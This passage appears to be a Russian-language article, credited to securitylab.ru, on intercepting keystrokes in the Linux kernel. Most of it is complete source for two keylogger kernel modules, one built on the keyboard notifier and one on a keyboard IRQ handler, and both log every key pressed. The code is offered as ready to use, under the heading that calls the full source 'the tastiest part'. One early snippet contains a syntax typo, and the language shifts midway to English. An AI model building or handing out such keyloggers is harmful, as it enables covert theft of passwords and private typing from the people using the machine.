- vc – виртуальная консоль, для которой применяется событие клавиатуры;
- down – 1 для нажатия клавиши, 0 для отпускания клавиши;
- shift – текущее состояние модификатора, индексы битов маски - KG_*;
- Значения, зависящие от типа события:
- **KBD_KEYCODE** – события всегда посылаются перед другими событиями;
- **KBD_UNBOUND_KEYCODE** – события посылаются, если код клавиши не связан с символом клавиши (keysym);
- **KBD_UNICODE** – события посылаются, если при переводе из keycode в keysym был получен Unicode-символ;
- **KBD_KEYSYM** – события посылаются, если при переводе из keycode в keysym был получен не Unicode-символ;
- **KBD_POST_KEYSYM** – события посылаются после обработки keysym не в Unicode.
Перехват событий клавиатуры в ядре
Существует два способа перехвата клавиатурных событий в ядре:- С помощью Keyboard Notifier:
- Создайте блок keyboard notifier;
- Проверьте наличие события KBD_KEYCODE в callback-функции и извлеките код клавиши;
- Преобразуйте извлеченный код клавиш в читаемую строку.
- Callback-функция для проверки события выглядит так:
Код:
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
char keybuf[12] = {0};
struct keyboard_notifier_param *param = _param;
if (!(param->down)) return NOTIFY_OK;
keycode_to_string(param->value, param->shift, keybuf, 12);
if (strlen(keybuf); < 1) return NOTIFY_OK;
printk(KERN_INFO "Keylog: %s", keybuf);
return NOTIFY_OK;
}
Код:
static struct notifier_block keysniffer_blk = {
.notifier_call = keyboard_event_handler,
};
static int __init keylogger_init(void)
{
register_keyboard_notifier(&keysniffer_blk);
return 0;
}
static void __exit keylogger_exit(void)
{
unregister_keyboard_notifier(&keysniffer_blk);
}
- С помощью собственного IRQ. Его логика будет выглядеть так:
- Запуск обработчика;
- Перехват кода символа с клавиатуры;
- Сопоставление кода символа с названием клавиши;
- Запись расшифрованного кода.
Поскольку мы работаем на очень низком уровне, нам также придется самостоятельно заниматься извлечением кода клавиш.
Базовый IRQ будет выглядеть так:
Код:
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
scancode = inb(0x60);
return (irq_handler_t)IRQ_HANDLED;
}
The tasklet can be defined as shown below:
void tasklet_logger(unsigned long dummy)
{
...
}
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
Now we can register our tasklet and IRQ handlers as shown below:
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
data.scancode = inb(0x60);
tasklet_schedule(&my_tasklet);
return (irq_handler_t)IRQ_HANDLED;
}
static int __init kb_init(void)
{
int ret;
ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
if(ret != 0){
printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
}
return ret;
}
static void __exit kb_exit(void)
{
tasklet_kill(&my_tasklet);
free_irq(KB_IRQ, &data);
}
Самое вкусное – полный исходный код!
Кейлоггер с использованием keyboard notifier:
Код:
#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/input.h>
MODULE_LICENSE("GPL");
static const char *us_keymap[][2] = {
{"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"}, // 0-3
{"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"}, // 4-7
{"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"}, // 8-11
{"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"}, // 12-14
{"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
{"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"}, // 20-23
{"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"}, // 24-27
{"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"}, // 28-31
{"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"}, // 32-35
{"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"}, // 36-39
{"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43
{"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"}, // 44-47
{"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"}, // 48-51
{".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"},
{"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
{"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"}, // 60-63
{"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"}, // 64-67
{"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"}, // 68-70
{"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73
{"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"}, // 74-76
{"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"}, // 77-79
{"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82
{"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"}, // 83-85
{"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"}, // 86-89
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
{"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"},
{"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"}, // 99-101
{"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"}, // 102-104
{"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
{"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"}, // 108-110
{"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, // 111-114
{"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, // 115-118
{"_PAUSE_", "_PAUSE_"}, // 119
};
void keycode_to_string(int keycode, int shift_mask, char *buf, unsigned int buf_size)
{
if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE)
{
const char *us_key = (shift_mask == 1)
? us_keymap[keycode][1]
: us_keymap[keycode][0];
snprintf(buf, buf_size, "%s", us_key);
}
}
int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
char keybuf[12] = {0};
struct keyboard_notifier_param *param = _param;
if (!(param->down)) return NOTIFY_OK;
keycode_to_string(param->value, param->shift, keybuf, 12);
if (strlen(keybuf) < 1) return NOTIFY_OK;
printk(KERN_INFO "Keylog: %s", keybuf);
return NOTIFY_OK;
}
static struct notifier_block keysniffer_blk = {
.notifier_call = keyboard_event_handler,
};
static int __init keylogger_init(void)
{
register_keyboard_notifier(&keysniffer_blk);
return 0;
}
static void __exit keylogger_exit(void)
{
unregister_keyboard_notifier(&keysniffer_blk);
}
module_init(keylogger_init);
module_exit(keylogger_exit);
Кейлоггер с использованием IRQ:
Код:
#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/string.h>
#define KB_IRQ 1
struct logger_data{
unsigned char scancode;
} data;
void tasklet_logger(unsigned long dummy)
{
static int shift = 0;
char buf[32];
memset(buf, 0, sizeof(buf));
switch(data.scancode){
default: return;
case 1: strcpy(buf, "(ESC)"); break;
case 2: strcpy(buf, (shift) ? "!" : "1"); break;
case 3: strcpy(buf, (shift) ? "@" : "2"); break;
case 4: strcpy(buf, (shift) ? "#" : "3"); break;
case 5: strcpy(buf, (shift) ? "$" : "4"); break;
case 6: strcpy(buf, (shift) ? "%" : "5"); break;
case 7: strcpy(buf, (shift) ? "^" : "6"); break;
case 8: strcpy(buf, (shift) ? "&" : "7"); break;
case 9: strcpy(buf, (shift) ? "*" : "8"); break;
case 10: strcpy(buf, (shift) ? "(" : "9"); break;
case 11: strcpy(buf, (shift) ? ")" : "0"); break;
case 12: strcpy(buf, (shift) ? "_" : "-"); break;
case 13: strcpy(buf, (shift) ? "+" : "="); break;
case 14: strcpy(buf, "(BACK)"); break;
case 15: strcpy(buf, "(TAB)"); break;
case 16: strcpy(buf, (shift) ? "Q" : "q"); break;
case 17: strcpy(buf, (shift) ? "W" : "w"); break;
case 18: strcpy(buf, (shift) ? "E" : "e"); break;
case 19: strcpy(buf, (shift) ? "R" : "r"); break;
case 20: strcpy(buf, (shift) ? "T" : "t"); break;
case 21: strcpy(buf, (shift) ? "Y" : "y"); break;
case 22: strcpy(buf, (shift) ? "U" : "u"); break;
case 23: strcpy(buf, (shift) ? "I" : "i"); break;
case 24: strcpy(buf, (shift) ? "O" : "o"); break;
case 25: strcpy(buf, (shift) ? "P" : "p"); break;
case 26: strcpy(buf, (shift) ? "{" : "["); break;
case 27: strcpy(buf, (shift) ? "}" : "]"); break;
case 28: strcpy(buf, "(ENTER)"); break;
case 29: strcpy(buf, "(CTRL)"); break;
case 30: strcpy(buf, (shift) ? "A" : "a"); break;
case 31: strcpy(buf, (shift) ? "S" : "s"); break;
case 32: strcpy(buf, (shift) ? "D" : "d"); break;
case 33: strcpy(buf, (shift) ? "F" : "f"); break;
case 34: strcpy(buf, (shift) ? "G" : "g"); break;
case 35: strcpy(buf, (shift) ? "H" : "h"); break;
case 36: strcpy(buf, (shift) ? "J" : "j"); break;
case 37: strcpy(buf, (shift) ? "K" : "k"); break;
case 38: strcpy(buf, (shift) ? "L" : "l"); break;
case 39: strcpy(buf, (shift) ? ":" : ";"); break;
case 40: strcpy(buf, (shift) ? "\"" : "'"); break;
case 41: strcpy(buf, (shift) ? "~" : "`"); break;
case 42:
case 54: shift = 1; break;
case 170:
case 182: shift = 0; break;
case 44: strcpy(buf, (shift) ? "Z" : "z"); break;
case 45: strcpy(buf, (shift) ? "X" : "x"); break;
case 46: strcpy(buf, (shift) ? "C" : "c"); break;
case 47: strcpy(buf, (shift) ? "V" : "v"); break;
case 48: strcpy(buf, (shift) ? "B" : "b"); break;
case 49: strcpy(buf, (shift) ? "N" : "n"); break;
case 50: strcpy(buf, (shift) ? "M" : "m"); break;
case 51: strcpy(buf, (shift) ? "<" : ","); break;
case 52: strcpy(buf, (shift) ? ">" : "."); break;
case 53: strcpy(buf, (shift) ? "?" : "/"); break;
case 56: strcpy(buf, "(R-ALT"); break;
case 55:
case 57:
case 58:
case 59:
case 60:
case 61:
case 62:
case 63:
case 64:
case 65:
case 66:
case 67:
case 68:
case 70:
case 71:
case 72: strcpy(buf, " "); break;
case 83:
strcpy(buf, "(DEL)"); break;
}
printk(KERN_INFO "keylogger log: %s", buf);
}
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
data.scancode = inb(0x60);
tasklet_schedule(&my_tasklet);
return (irq_handler_t)IRQ_HANDLED;
}
static int __init kb_init(void)
{
int ret;
printk(KERN_INFO "keylogger: initializing...");
ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
if(ret != 0){
printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
}
printk(KERN_INFO "keylogger: initialization complete.");
return ret;
}
static void __exit kb_exit(void)
{
tasklet_kill(&my_tasklet);
free_irq(KB_IRQ, &data);
printk(KERN_INFO "keylogger: unloaded.");
}
MODULE_LICENSE("GPL");
module_init(kb_init);
module_exit(kb_exit);
источник securitylab.ru